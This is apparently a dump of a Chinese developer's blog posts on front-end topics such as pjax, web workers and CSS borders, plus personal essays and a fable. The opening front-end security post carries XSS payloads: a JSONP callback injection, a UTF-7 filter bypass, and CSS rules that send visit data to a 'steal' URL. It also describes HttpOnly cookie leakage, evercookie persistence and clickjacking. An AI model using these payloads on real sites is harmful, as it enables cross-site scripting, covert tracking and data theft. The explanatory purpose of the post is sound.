为了防范xss获取Cookie，网络规范提供了HttpOnly Cookie机制，设置了该标志后，js脚本将无法读写该Cookie。但既然首先是“无法读”，如何“可以读”就成为了个有趣的话题。

1
2

setcookie("test", 1, time()+3600, "", "", 0); // 设置普通Cookie
setcookie("test_http", 1, time()+3600, "", "", 0, 1);// 第7个参数是HttpOnly 标志，0 为关闭(默认)，1 为开启

我们还是可以通过一些服务器上的漏洞去获取它们。

2.1) 调试信息泄露

比较经典的是PHP的phpinfo文件：

如果在部署服务时，没有删除这个默认的调试信息文件，将泄露服务器信息。其中包括HttpOnly Cookie。
访问phpinfo.php，将看到：

其他的服务器，如python的Django，也有类似的调试信息文件，在外发时要注意清除。

2.2) Apache 2.2.x版本请求头超长泄露

Cookies最大限制一般为4kb左右，如果请求头长度超过LimitRequestFieldSize，将会引发400错误。在Apache 2.2.x多个版本内，如果引发400(Bad Requerst)错误，会返回出错的请求头内容，这就包含了HttpOnly Cookie。
因此，我们可以利用这个漏洞，构造一个超长的请求，让Apache返回400，并用ajax捕获xhr.responseText即可获得HttpOnly Cookie信息。

三、删不掉的本地存储

如果把浏览器理解为一个器官，把恶意标志比方做寄生虫。这标志通过某种途径寄生在了浏览器，并且”永久”寄生，这想想都很可怕。这个标志，可能是植入广告的跟踪标志，或者有其他用处，总之它依附到你的浏览器就删不掉了。
但它是如何寄生的呢？又如何做到“永久”？这就涉及到本地存储安全。我们先看下常规的本地存储方案：

Cookie - 是最常见的方式，key-value 模式
UserData - IE自己的本地存储，key-value 模式
localStorage - HTML5 新增的本地存储，key-value 模式
local Database - HTML5 新增的浏览器本地DataBase，是SQLite 数据库
Flash Cookie Flash 的本地共享对象（LSO），key-value 模式，跨浏览器

除去这些，我还收集了一些比较“偏门”的存储方案：

Silverlight的IsolatedStorage - 类似HTML5 localStorage
PNG Cache，将Cookie 转换成RGB 值描述形式，以PNG Cache 方式强制缓存着，读入则以HTML5 的canvas 对象读取并还原为原来的Cookie 值
HTTP Etags、Web Cache - 本质上都是利用了浏览器缓存机制：浏览器会优先从本地读取缓存的内容
Web History，利用的是“CSS 判断目标URL 是否访问过”技巧，比如a标签访问过会显示紫色（新浏览器已fix）
window.name，本质就是一个DOM 存储，并不存在本地。

老外Samy Kamkar用半天开发了一个JavaScript API：evercookie。
该API利用了上面的全部存储手段，将“永不丢失你的cookie”贯彻到底…当evercookie发现用某种机制存储的cookie被数据将删除之后，它将利用其它机制创建的cookie数据来重新创建，让用户几乎不可能删除cookie。

四、函数覆写监听上报

覆写函数，可以用于防范？这是网上安全论坛中有人提到的一个偏门要点。其缘由是：搞跨站的人总习惯用alert来确认是否已成功跨站，如果你要监控是否有人在测试你的网站xss的话，可以在你要监控的页面里覆写alert函数，记录alert调用情况。

1
2
3
4
5
6
7
8
9
10

function log(s) {
    var img = new Image();
    img.src = "http://yousite.com/log.php?caller=" + encodeURIComponent(s);
}

var _alert = alert;
window.alert = function(s) {
    log(alert.caller);
    _alert(s);
}

如此，就能在有人调用alert时，就执行上报，以供监控。好吧，这里还涉及人的心理学…
其实函数覆写无论攻还是防，都应该是我们关注的一个点。相关文章：《浅谈javascript函数劫持》。

五、内存Cookie与硬盘Cookie

内存Cookie - 指没有设置过期时间Expires的Cookie，随浏览器关闭，此Cookie在内存中销毁
硬盘Cookie - 设置了过期事件Expires的Cookie，常驻硬盘，直到过期

我们很容易得出结论：内存Cookie更安全。因此，某些站点会把敏感信息放到内存Cookie里面。这原本是没什么风险的，但恰巧会在遇到XSS的时候失控。试想下，XSS攻击者可以给内存Cookie加一个过期时间，使其变为硬盘Cookie，就会在未来很长一段时间内，甚至是永久控制着目标用户的账号权限。

因此，这里有两个关注点：

1. 敏感信息还是不要放Cookie里，即使是内存Cookie；
2. 服务器要做Cookie的三个维度的校验 - 唯一性（是否验证通过）、完整性（是否被篡改了）、是否过期。

六、CSS带来的点击量泄露

在我们的印象中，前端安全基本是js带来的问题，但css也会有安全隐患吗？是的。除去IE下的css中执行js代码问题，还有另外一个关注点。
假如有一个开源组件，我们只看了下js源码，觉得没有漏洞风险，就直接拿过来使用了。况且，没有前端人员乐于去读别人的css的…但有某种极端的情况，css带来了意想不到的数据泄露。
试想这是一个导航栏组件，html代码是这样的：

1
2
3

<a href="http://yousite.com/a1" id="a1">nav1</a>
<a href="http://yousite.com/a2" id="a2">nav2</a>
<a href="http://yousite.com/a3" id="a3">nav3</a>

你忽略掉的css写成这样：

1
2
3

#a1:visited {background: url(http://report.com/steal?data=a1);}
#a2:visited {background: url(http://report.com/steal?data=a2);}
#a3:visited {background: url(http://report.com/steal?data=a3);}

我们用到业务里，用户点击这三个导航后，a标签的visited伪属性生效，就会设置background，而背景的url其实是上报地址。这时候，你的业务的点击数据量就暴露给第三方了！
当然，这只针对旧版本浏览器，新版本浏览器都已fix这个问题。可是，HTML5的出现又让这个问题回归了…
HTML5提供伪类::selection，当指定对象区域被选择时，就会触发。其原理跟上面类似。

七、JSONP回调函数与UTF-7编码

7.1) 基本原理

在JSONP技术中，服务器通常会让请求方在请求参数中提供callback 函数名，而不是由数据提供方定制，如请求方发起请求：
cgi-bin/get_jsonp?id=123&call_back=some_function
返回数据格式为：
some_function([{'id':123, data:'some_data'}]);
如果，数据提供方没有对callback函数名做安全过滤，就会带来XSS问题。
请求：
cgi-bin/get_jsonp?id=123&call_back=<script>alert(1);</script>
返回：
<script>alert(1);</script>([{'id':123, data:'some_data'}]);
所以，一般服务器都会对call_back参数进行过滤，但过滤的方法是否会存在漏洞呢？

7.2) IE解析UTF-7漏洞

比较简单的过滤方法，是过滤<>字符，使得无法构成html标签。但在IE6\IE7的某些版本中，存在以下漏洞：如果发现文件前面是“+/v8”开头，就把文件当做UTF-7解析（IE7后续版本已发布补丁修复）。
在没被修复的IE版本中，如果我们将上面的请求用utf-7编码。再在前面加上”+/v8”头：
cgi-bin/get_jsonp?id=123&callback=%2B%2Fv8%20%2BADw-script%2BAD4-alert(1)%2BADw-%2Fscript%2BAD4
这时候巧妙的躲开了<>过滤，而返回：
+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4({‘id’=>123,data=>’some_data’});
这时IE将这个jsonp文件当作utf-7解析，依然触发XSS。

八、过滤与代码混淆

过滤器如果过滤了大部分的js函数，如eval、alert之类，是否就能保证安全呢？必然不是，我们还有强大的js代码混淆手段，可以绕过过滤器。这里推荐一个神奇的网站：jsfuck。
站名如其名，满满的恶意…它可以仅仅用6个字符：[]()!+去混淆编码js。而且兼容性特别的完善。以下是我在最新chrome下的截图，将一句alert(1)编码成了3009个字符，并执行成功：

所以过滤器仅仅通过适配关键函数名，是不能保证安全性的。

九、心理学与社会工程学

有个观点认为“一切钓鱼网站成功案例，都是一次心理学的实战演练”。在这个层面，可谓五花八门，创意百出。分享两个案例：

9.1）诱导触发拖拽事件

比方说，有某已知漏洞，要用户触发拖拽事件才能触发。怎么搞定这个事情呢？
很简单，添加一张图片：

注意这是一张图片，滚动条是图片的一部分而不是真正的浏览器控件，用户自然会去下拉“滚动条”，因而触发了这个漏洞。

9.2) 传说中的QQ空间“传染病毒”

步骤是这样的：

1. A(始作俑者)发布了一条说说：这个网站很好玩，快来试试吧~ http://xxx.xxx
2. A的好友们看到了，打开了这个链接，玩了一下后，就关闭了页面
3. 好友们不知道，竟然自己的空间主动转发了这条说说（问题是自己没有点转发呀！）
4. 一传十十传百，越传越广…

但真实的情况跟CSRF没一点关系。玄妙在于：好友们打开链接后干了什么事情？
这个网站是一个小球在跳来跳去，网站上有一句话：你能点到我吗？
用户看到后，就很想去点击小球，看会发生什么；但点击后，就转发了说说…

有人会问，这不是CSRF吗？还真不是。做法却很简单：
“有趣”的网站内嵌了一个iframe，iframe加载的是这条说说的原页面，然后把“转发”按钮刚好放到小球的位置上，再把这iframe的透明度变为0。所以用户点击小球，其实是点击了iframe中的转发按钮。真是令人万万没想到。

以上。
End. 5.27 by litten.

经游戏分组，我负责带5位小朋友，正巧是三胞胎和双胞胎。
杜晓凡、杜晓平、杜德俊（水饺）三兄妹，文殊琪、文殊曼（馒头）姐妹。混淆了好几次谁是馒头，谁是水饺后，我已经记住你们的名字了。


小朋友们都不认生，晓凡一开始就问我好多问题。比如这些：

晓凡：哥哥你几年级？
我：我已经上班了。
晓凡：不会吧？看不出来哎。你在哪里上班？
我：腾讯。
晓凡：原来是挺随便找了个公司
我：……对

水饺是个小胖子，有很多个花名。其中一个叫做豆子，但现在不许我们这么叫他，因为他说自己已经长大了，豆子太小就改名成水饺了。水饺热衷于怪兽图…他的太阳都是有手脚的。他用短短时间画了两张“百兽图”，还会问我：哥哥我要你手机，你有天天酷跑吗，我要画里面有个怪兽。

馒头是我带的小朋友里面绘画思维最好的一位。她想着画羊，还会借我的手机，自己去搜索图片去模仿。很聪明的小女孩。

妹妹殊琪却比较胆小，总怕出错，跟姐姐完全不一样。她喜欢让我帮忙出谋划策，却不敢自己大胆去涂画，直到最后她还没敢涂色。

晓平比晓凡小5岁，是个扎着双马尾很可爱的小朋友，有需要也会主动问我，但从不要求我插手，只凭自己感觉去画画，这点超赞。

雅典娜小朋友的作品是在场很少的，能传达出意义的画作。看不出是个二年级学生的作品。聪慧美丽的小女孩人如其名。

讲解印象派水彩的时候，老师问，谁能看出这幅画与前面的画的区别。我脑中尽是高深详细的“印象派”词义描述，有不确定的点，再拿出手机百度一翻，最后成竹在胸，了然于心。

后面一小朋友大声喊：看不清！
老师：对的，这就是印象派的特征。

有时我们顾于去搜寻最客观的解释，企图用权威的释义去描述事务，却不能像小朋友一样，忠实于自己的眼睛。也许，他们真的比我们懂更多所谓的“印象派”，不是么？

###一、三“步”曲
instagram开放了API，授权遵循Oauth2.0协议。

####1、注册client id
到管理客户端页面，选择“注册新客户端”。
这时会提示你填手机号，接着会收到短信验证码。经过验证，就到达了下面的界面：

按照字面意思填写完毕，client id就注册完毕了。

####2、用client_id去换取token
在浏览器中请求：

1

https://instagram.com/oauth/authorize/?client_id={CLIENT_ID}&redirect_uri={REDIRECT_URI}&response_type=token

花括号里面的值，对应上一步最终得到的client_id和自己设定的redirect_uri。
请求到的是一个授权页面，授权完毕后，则重定向到你的redirect_uri。注意看授权成功后的url，hash部分会附带给你的token。至此，token成功获取。

####3、用token去调用API

拿到token，就等于拿到仓库的钥匙了！
赶紧试着用token调用api查看自己的图片吧：

1

https://api.instagram.com/v1/users/{USER_ID}/media/recent/?access_token={TOKEN}

这时，你会发现似乎…被instagram api坑了一道。user_id是个啥？机智如我，果断填上了自己的用户名。
结果错了。

后来发现有这个的网站：lookup-user-id，通过此业界良心，成功获取到user_id，摆平了上面的请求。

###二、参考

1. 更多功能可参考api文档
2. 如果想了解Oauth授权，点此

###三、再说两句
图片分享的网站万万千，instagram却只有一个。我不是此产品的脑残粉，只是觉得社区氛围这种东西，可意会而不可言传，它是社交产品的灵魂。不是每个功能相近的产品都能营造的。

事实上，instagram有很多限制，或者大家称之“功能不完善”的地方。比如，在pc上浏览网站，居然不能发图片，不能看自己关注的人，或者有哪些粉丝。这都限制死了，何以称为社交？但换个角度来想，这样就“强迫”用户去用手机操作instagram，因为产品最想想表达的，就是用摄影去快速记录生活，而已。

不用拓展业务的噱头去损坏产品的思想表达，不刻意向老板汇报我们新增了多少用户量。

“你想做什么，你就会进入什么样的圈子”，这句话，不单单是对用户而言，每个创造者心中都应有这样的思考。

the end.
litten 2014.3.3

请记住，每个尽责的设计师都是处女座…

这里…没有黑处女座的意思，只是想借题发挥，并由衷的跪倒在强大的“像素眼”之下。

###一、你是我的眼

什么是像素眼？
就是那些个神奇的存在，他们用余光瞄了你一眼，然后跟你说：我发现啊，你左边眉毛比右边眉毛高了1像素，麻烦你调整下…

在腾讯，我身边的许多设计同学都有这样的眼睛。他们会把细节做到极致，也会因为频繁的修改，把你开发的心情搞得一团糟。但你得承认，他们是对的。

最近在做移动端web开发，按着设计图，toby已在我旁边核对修改了两个多小时。当我觉得已经万事大吉时，toby跟我说，还是觉得不太对——边框好像有点粗？

当时我就傻眼了，因为这已是最细的边框，电脑上清楚的显示，我已经设置了1px的border。于是我去解释，并建议更换个色值，让边框至少“看起来”更细。而toby却不接受，按他给我的说法是：这border看起来不性感…

原来这世界的审美观，都是以瘦为美，从女人到一根线？于是乎，为了寻找性感的border，搜集一堆资料后还真找到了方案：

• 父元素设置：scale(0.5,0.5)
• 子元素设置：scale(2,2) 还原缩放，origin都是基于左上角（0,0）/left top

这样父元素的border其实被缩放了，无疑更细。

###二、通用方案

用一个css类去为block元素添加更细的border

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

.border-1px{
  position: relative;
  &:before, &:after{
    border-top: 1px solid #c8c7cc;
    content: ' ';
    display: block;
    width: 100%;
    position: absolute;
    left: 0;
  }
  &:before{
    top: 0;
  }
  &:after{
    bottom: 0;
  }
}

适应移动设备：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

@media (-webkit-min-device-pixel-ratio:1.5), (min-device-pixel-ratio: 1.5){
  .border-1px{
    &::after, &::before{
      -webkit-transform: scaleY(.7);
      -webkit-transform-origin: 0 0;
      transform: scaleY(.7);
    }
    &::after{
      -webkit-transform-origin: left bottom;
    }
  }
}

@media (-webkit-min-device-pixel-ratio:2), (min-device-pixel-ratio: 2){
  .border-1px{
    &::after, &::before{
      -webkit-transform: scaleY(.5);
      transform: scaleY(.5);
    }
  }
}

###三、来个对比

比如，之前我学日语时，自己搞起了个app，这是50音列表界面，可以明显的看出区别：上图是原生方案，下图是…性感方案

源码小demo，注意要在手机上才能看到效果：demo。

The End.
——litten 2.22 “写轮眼？弱爆了啊 ←_←”

var pjax = pushState + ajax;
小时候，小浣熊方便面里面有各种水浒人物的卡片。我买了一包，吃了方便面，饱了。而我又买了第二包，不是想吃方便面，而是仅仅想得到里面的卡片…

##一、简介
pushState是html5中提供的方法，用以

• 无刷新的更新浏览器地址栏；
• 如其名称，将新地址push到历史堆栈中

用法：pushState(data, title ,url)

data为保存的对象，可以在window.onpopstate时获取到；title为页面标题；url为需地址栏和历史发生改变的url。
正是这点看似很平常的功能，跟ajax结合到一起产生了火花。因为，ajax最擅长的事情就是局部刷新页面。

##二、ajax的纠结历史
一切可以从ajax最擅长的事情说起。
ajax作为一个异步请求模型，从最初设计开始，也许压根就没打算将它跟浏览器历史挂钩。原因是历史堆栈所记录的，某种意思上可以说是顺序，跟我们理解的“同步”更为密切。

因而，ajax可以无刷新改变页面内容，却无法改变页面的url。

• ####历史问题1 - 如何操控历史

当单页面越来越流行，操作记录却很容易被忽略。假设有这样的单页面，按照分类点击，界面逐层递进：体育 - 篮球 -nba -马刺队 - 邓肯
当我们点了4下到“邓肯”界面时，一个不小心的刷新，出现在你面前的也许是“体育”。原因是操作记录没有被记录。
而通常的解决方案是修改hash，每递进一层，去更新url的hash值，这样的方法：

1. 刷新时预先判断url的hash，从而知道这是哪一层，加载相应数据；
2. 支持了历史

这样的方式貌似比较完善，其实不然。

• ####历史问题2 - 对搜索引擎不友好

最大的问题是，hash后生成的内容是不会被搜索引擎引用到。数据不能被爬取，无疑是浪费和损失。因此google放言，咱可以约定个协议：#!xxx这样hash的url，google也去爬取。称之为hash bang（哈希大爆炸？）。这一协议，在g+，twitter，人人，新浪微博上都可以看到。

事实上，ajax最或缺的两个问题，恰好被pushState的功能补充完善。

##三、pjax带来的价值
除去补齐了ajax的问题，我们发现pjax会给web带来更多的好处。
回到开始说的“两包方便面”，我的意思是，有时你访问两个url，部分数据是相同的。比如百度贴吧，第一页和第二页的区别只是帖子内容（卡片）的不同，网站外框部分（方便面）都是一样的，这些东西就不需要在页面刷新时重复加载。

ajax处理这样的局部刷新，已经给我们带来了web2.0的体验，而加上pushstate的ajax则更进一步：

1. 一个url对应一套数据，有利于SEO；
2. 更改数据和url时，只是局部刷新，带来较好的用户体验；
3. 兼容性好，对不支持pushstate的浏览器，url也能正常请求页面（虽然有重复加载）；
4. 刷新页面时，由于是url唯一，能正常加载到用户希望看到的数据，比处理hash的方式更方便；
5. 后退与前进的浏览器操作，依然可以局部刷新（通过onpushstate事件捕获）

##四、注意事项

然而pjax不等于单纯的分离使用pushstate与ajax，还必须得做一些封装。缘于以下我能想到的注意事项：

• 服务器端增加额外处理逻辑
  服务器端，需要根据请求的参数，作出全页渲染或局部渲染响应

  1 2 3 4 5 6 7

  Accept:text/html, */*; q=0.01 Accept-Encoding:gzip,deflate,sdch Connection:keep-alive Host:qianduannotes.duapp.com User-Agent:AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 X-Requested-With:XMLHttpRequest X-PJAX:true

比如请求头部可以设定一个X-PAJX:true，用以通知服务器。

• 浏览器兼容
  假如浏览器不支持pushstate，提供fallback操作，直接打开需更改url的地址：

  1 2 3 4 5 6 7 8

  $.support.pjax = window.history && window.history.pushState // Fallback if ( !$.support.pjax ) { $.pjax = function( options ) { window.location = $.isFunction(options.url) ? options.url() : options.url } $.fn.pjax = function() { return this } }

• 本地存储机制
  无疑pjax与localstorage共同使用可以进一步提升体验，但这一步容易忽略的是数据上报。

##五、参考资料
jquery-pjax
welefen封装的pjax

The End.
——litten 02.05 深夜。

—— 01.10

2、无限循环的播放背景音乐。不需要设置关闭，你只需要坚持自我。

3、注册的界面，输入密码的文字框一般有两个：填密码和确认密码的。我们可以做5个，让他们再再确认，这样可以体现你无微不至的情怀。情怀你懂吗？

4、注册新用户名的时，先把数据检测一下。并提示：你确定用户名不带火星文吗？用户点了否，再提示：那特殊符号也不用❤★※←＆♂吗？如果用户还是点了否，你要做出这样的符号表情来表示不理解：~>_<~

5、要有“意见反馈”的功能，但是，无论用户提交了什么有价值的意见，甚至用户觉得这建议太美好了以至于自己都high了起来。一律不回。

6、给用户黑名单里面的人都发个消息：“TA给你加了黑名单我偷偷告诉你，你别告诉TA哦”。

7、安装程序时，要勾上“同意以上条款，并背诵全文”。

8、所有文案只写一半，刚引起用户兴趣就戛然而止，记住你是风一般的产品经理。

9、

The End.

当人在“得到技能提升”和“获得挑战后的成就感”这两者中得到一定平衡时，就会陷入沉迷，这个平衡的范围称之为“心流”（flow）。人处在心流状态下，就会陷入沉迷。

##“lol，那是小学生玩的”

试想一局dota为何引人专注？完成击杀或最后胜利时你会获得挑战后的成就感，而无疑你的技术又在游戏中越发娴熟。两者共同作用，人陷其中，几局dota就让一天过去了。事实上，任何成功的游戏都是这样，不会难度超大（否则人会焦虑），也不会让人得不到技能和熟练度的提升（否则人会无聊）。这也解释了为何部分dota玩家谈起lol时，会不屑的说：“那是小学生玩的”。因为dota和lol属同类型游戏，一个熟练的dota玩家的技能维度已经较高，自然在转移到lol后得不到太大的提升，因此偏离了心流通道，使人觉得无趣。如何能合适引导这批玩家呢？唯有做好差异化。只要有不同的玩法和细节，就能让人形成新的技能增长点。这点我认为lol还是做得很不错的。

再说下11平台为何会打败老牌的竞技平台，独树一帜。自然有人说，是因为匹配系统。是的，更深层次的说，是它适配了玩家的挑战水平。在浩方的时候，小白被高手虐得体无完肤的故事喜闻乐见。无疑，对任何人而言，挑战度不合适会给人带来焦虑和恐惧。匹配系统做的事情，其实是把挑战维度稳定在心流通道范围里。

##赌博，最伟大的游戏

细分起来，人的沉迷场景其实有两种：感性和认知。举个栗子，迪士尼乐园的过山车，克服心理恐惧是个挑战，而坐过几次后不再那么害怕属于技能增长，但两者存在于感性层面，是精神的主观感受；百家讲坛，许多人喜欢看，讲的东西我们可能压根不懂，可谓之挑战，而知识的渗透关系到技能，但此过程是跟过山车不一样的，人有学到东西，有认知层面的提升。

再细究一下，我们不会每周都去玩过山车，也不会说百家讲坛一集不落的都看。因为他们还不足以让人沉迷。真正能让人沉迷的，必须是“感性”和“认知”两个维度高度统一的场景。facebook上常年居首的第三方应用是德州扑克，国内用户量最大的是QQ游戏大厅，小城镇六合彩屡禁不止，打麻将俨然已冲出国门走向世界。我想说的是——赌博，是最伟大的游戏之一。无论是真实的或变相的，无论历史还是现在，不同年龄段的人都会沉浸其中。源于它扼紧了人性的弱点，又是感性和认知的高度统一。

举斗地主为例子，认知层面就是你牌技的增长，一个新手是很难对付牌场老手的。通过反复的练习，人可以对形势做出更正确的判断。有个朋友就告诉过我，他觉得斗地主是一门艺术。艺术一词，可能过于高贵，但足以概况了人对掌握了更高级技术所带来的满足感。那么感性层面怎么体现呢，就在于游戏的随机性。你给我一副绝世好牌，即使我再菜鸟也一定能赢一个高手！这跟技术无关，凭着的都是运气与人品，就在爆发的一刹那给你过山车的快感。人有了期待，就有沉浸与等待的动力，而真正赌博中跟金钱挂钩，又无疑更是个感性维度高功率的放大器。

人的一生都在沉迷赌博，事实上，从你小时候玩玻璃弹珠时就开始了。

##何为接地气？

琴棋书画，作为衡量文人墨客或大家闺秀的修养标准，古之已有。而真正在能融入生活的，不是登大雅之堂的钢琴，不是分级分段的围棋，更不是象征艺术，被层层装裱的书法与油画，取而代之，是吉他，扑克，网络小说，畅销书，还有动漫。有人概况谓之接地气。

快餐文化的流行，是因为它不太需要思考，不太触及上面提到的“认知”层面。信息流穿墙而过，径直流到你的面前，一耳进一耳出有何不可，图的就是一个爽快！

所以“接地气”其实是一种偏“感性”而弃“认知”的沉浸形态。也许又会有这样的疑问，弃认知的形态岂不是不能成为“伟大的游戏”？是的，这样的形态不需要也不可能使人100%沉浸，但它的厉害之处在于持续性。比如，大家不会一遍一遍咬文嚼字像品味红楼梦一样，去阅读一本网络小说。因为它不足已让你得到技能认知方面的满足，但是，你看完了它，说不定又会去看另外的网络小说，因为另外一本，可能会给你新的感官体验。

为何中国网游层出不穷，但却缺乏精品？因为游戏公司一旦赚钱，不会把过多基金投入到二次开发，反正，你们很快就会厌烦。不如来开发新鲜而老套的网游，不是么？

The End.

###【定义函数】
定义Batch函数。参数为函数组成的数组functions，这里面的函数将稍后执行，以及这些函数完成后的回调completionHandler。

1
2
3
4

function Batch(functions, completionHandler) {
this._functions = functions;
this._completionHandler = completionHandler;
}

###【启动请求】
用this._remaining来记录未执行的函数量，然后执行各个函数。

1
2
3
4
5
6
7
8
9

Batch.prototype.execute = function execute() {
var i;
  var functions = this._functions;
  var length = this._remaining = functions.length;
  this._results = [];
  for (i = 0; i < length; i += 1) {
      functions[i](this);
  }
};

###【让Batch知道函数完成】
用this._results来记录执行结果，当this._remaining为0时，表示所有函数已执行完毕。

1
2
3
4
5
6
7
8
9

Batch.prototype.done = function done(result) {
this._remaining -= 1;
if (typeof(result) !== 'undefined') {
    this._results.push(result);
  }
  if (this._remaining === 0) {
      this._completionHandler(this._results);
  }
};

到这里，就完成了Batch这个函数的简单功能了。

###【使用】
将Batch应用到实际上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

var urls = [
  '/api/gists/1000',
  '/api/gists/1001',
  '/api/gists/1002',
  '/api/gists/1003',
  '/api/gists/1004',
  // ...
  '/api/gists/1337',
  // etc...
];

var i;
var length = urls.length;
var batchFunctions = [];

// 创建需要被batch执行的函数数组
for (i = 0; i < length; i += 1) {
  batchFunctions.push(function (batch) {
      $.ajax.get(urls[i], function (response) {
          batch.done(response);
      });
  });
}

var myBatch = new Batch(batchFunctions, function (results) {
//返回各个函数的结果数组
});

myBatch.execute(); // 开始执行

这样的方案其实是参考了“观察者”模式。相关源码推荐nodeJs的Async.js库。

THE END.

###【worker的使用】
web worker的使用非常简单，线程之间通讯的api与html5 postmessage或node.js里面的socket.io方法类似。

通讯：

1. 发送方：postMessage(data)
2. 接收方：onmessage(event)

终止web worker:

1. 子线程: self.close()
2. 父线程: worker.terminate()

按照目前w3c规范，web worker分为两种：专用worker(Dedicated Worker)和共享worker(Shared Worker)。

###【专用worker】
实例化一个web worker对象，异步加载子线程文件worker.js，其中的代码将执行。

var worker = new Worker("worker.js");

给worker增加侦听

worker.onmessage = function (event) {    alert(event.data);};

在worker.js里，发送消息给父线程

postMessage('hello，imweb');

在父线程页面就能看到发送过来的信息了。

同时，在web worker标准中，是支持对象参数的，也就是说我们能够传递json数据。再看一个稍微复杂点的例子，父线程：

var worker = new Worker("worker.js");worker.onmessage = function (event) {    document.getElementById("result").innerHTML=event.data;};function start(){    worker.postMessage({'cmd': 'start', 'msg': 'start'});}function pause(){    worker.postMessage({'cmd': 'pause', 'msg': 'pause'});}function stop(){    worker.postMessage({'cmd': 'stop', 'msg': 'stop'});}function msg(){    worker.postMessage({'msg': 'hello imweb'});}

worker.js：

self.onmessage = function (e) {    var data = e.data;      switch (data.cmd) {    case 'start':        taskStart(); //大量数据处理          postMessage('WORKER DO: ' + data.msg);          break;    case 'pause':        taskPause();          postMessage('WORKER DO: ' + data.msg);          break;    case 'stop':          postMessage('WORKER DO: ' + data.msg);          self.close(); //终止web worker          break;    default:          postMessage('MESSAGE: ' + data.msg);      };};

从上面的例子可以看到，一是利用对象参数，进程之间能够较灵活的实现控制；二是当woker执行taskStart()处理大量数据时，只在子进程处理，不会给主页面带来阻塞，通常，处理大量数据会消极影响程序的响应能力，而web worker通过这样的方式，能提供一个更流畅更实时的UI。

###【共享worker】
共享worker允许线程在同源中的多个页面间进行共享，例如：同源中所有页面或脚本可以与同一个共享线程通信。它的实例化与事件侦听的写法与专用worker略有不同,主页面：

var worker = new SharedWorker('shared-worker.js');worker.port.onmessage = function(e) {    msg = 'Someone just said "' + e.data.message + '". That is message number ' + e.data.counter;    console.log(msg);};worker.port.postMessage('hello shared worker!');

shared-worker.js:

var counter = 0;var connections = [];onconnect = function(eConn) {       var port = eConn.ports[0]; // 此连接的特有port   //当有消息的时候通知所有的连接   port.onmessage = function(eMsg) {        counter++;       for (var i=0; i < connections.length; i++) {           connections[i].postMessage({               message: eMsg.data,               counter: counter           });       }   }   port.start();   connections.push(port);

用两个窗口打开这个页面，第一个显示：Someone just said “Hello shared worker!” This is message number 1，第二个也收到一样的信息，
但是后面是message number 2。

###【安全性和错误检查】
出于安全性的考虑，web worker必须遵守同源策略。同时，它的全局对象是worker对象本身，this和self引用的都是worker对象。
只能访问：

1. navigator 对象（仅限appName, appVersion, platform, userAgent）
2. location 对象（只读）
3. XMLHttpRequest
4. setTimeout(), setInterval(), clearTimeout()和clearInterval()方法

不能访问：

1. DOM(不是线程安全的)
2. window 对象
3. document 对象
4. parent 对象

worker内部出现错误时，可以用worker.onerror侦听到，error的事件有三个属性：

1. filename: 发生错误的文件名
2. lineno: 代码行号
3. message: 完整的错误信息

如：

worker.onerror = function(e) {    console.log(e.filename+"ERROR on line"+e.lineno+",msg:"+e.message);}

###【web worker的其他尝试】
对于比较消耗时间的操作，我们可看到web worker能够发挥它的作用。比如：大量数据排序，精确到像素的canvas计算等。而我们又知道，jsonp加载数据时，动态创建script标签，加载和执行这些过程都是阻塞式的，而web worker正好可以异步加载，这会是更快的方式吗？带着这个疑问我做了下面的试验，分别用jsonp和worker的方式去加载文件，计算数据返回时延：

function tryJsonp(){    var d = (new Date()).valueOf();    var jsonp=document.createElement("script");      jsonp.type="text/javascript";      jsonp.src="worker.js?_="+d;      document.getElementsByTagName("head")[0].appendChild(jsonp);    jsonp.onload = jsonp.onreadystatechange = function(){             if(!this.readyState||this.readyState=='loaded'||this.readyState=='complete'){                 console.log('jsonp: '+ ((new Date()).valueOf() - d));        }      }}function tryWorker(){    var d = (new Date()).valueOf();    var worker = new Worker("worker.js");    worker.postMessage({'cmd': 'start', 'msg': 'start'});    worker.onmessage = function (event) {        console.log('web worker: '+ ((new Date()).valueOf() - d));    };}

第一次加载是一份1k大小的文件，每个方法重复5次，返回结果为:

第二次加载1800k大小的文件，返回结果为：

可以看到对于较小的数据，jsonp还是比web worker要快，这可能是实例化worker对象时带来的影响；而数据偏大时，web worker的加载将会更优，而且它可以异步加载。

THE END.

花店的姑娘喜欢他已经很久了，但羞涩的夜雾总是阻隔着她的心事。警察喜欢姑娘也已经很久了，他勇敢正义，在她面前却像小偷一般。每天他们回家时，都会相向经过小巷，这是一条他们都愿意迷失的归途。撑着油纸伞，渐行渐近的，是彼此瑟缩的心跳。姑娘的长发芬芳如兰，飘散如霓，一如晚风扫过梦境，一个不经意的眼神，两人如同触电一般的回避，丘比特躲在墙角呵呵呵的笑…但这个心事，大家都没有说破。

有一天，姑娘来找他，说她遇到了一个小偷，每天都会偷走她的一朵玫瑰。但这个小偷活在她的梦中，每晚睡着时都会出现，问警察能不能帮抓住他。警察神通广大，抓过的小偷不计其数，小到偷糖的有着透明翅膀的蚂蚁，大到喜欢金币的贪婪巨龙，但他着实没有见过梦中的小偷。他还是毫不迟疑的答应了面前低着头的姑娘，缘于内心无与言说的理由。只是，如何才能进入姑娘的梦境是一个巨大的难题。他请教了一切有学识的人，炼金术师，先知，方士，甚至是路过的游吟诗人，最后他被赠与了一瓶毒药——一个神秘的织梦者告诉他，喝掉它就能进入梦境，代价是醒来后会忘掉那个最喜欢的人。

强烈的爱意使警察奋不顾身，即使只是为她去抓一个小偷，即使醒来就要忘了她。他愿意，让爱情像烟花一样绽放一次。毒药穿肠而过时，他感觉到那是酒的味道，苦涩又甘洌。而姑娘的梦中是一片花的海洋，却没有小偷的身影。他沿着花径一直走，到了尽头，那里是一个清澈的湖，警察往湖水看下去，终于看到了小偷正义的脸庞。姑娘站在远处，澄澈的湖光将她的心事映得通透，她轻轻的告诉他：“你这个该死的小偷，竟偷走了我的心…”

【织梦人的表白】

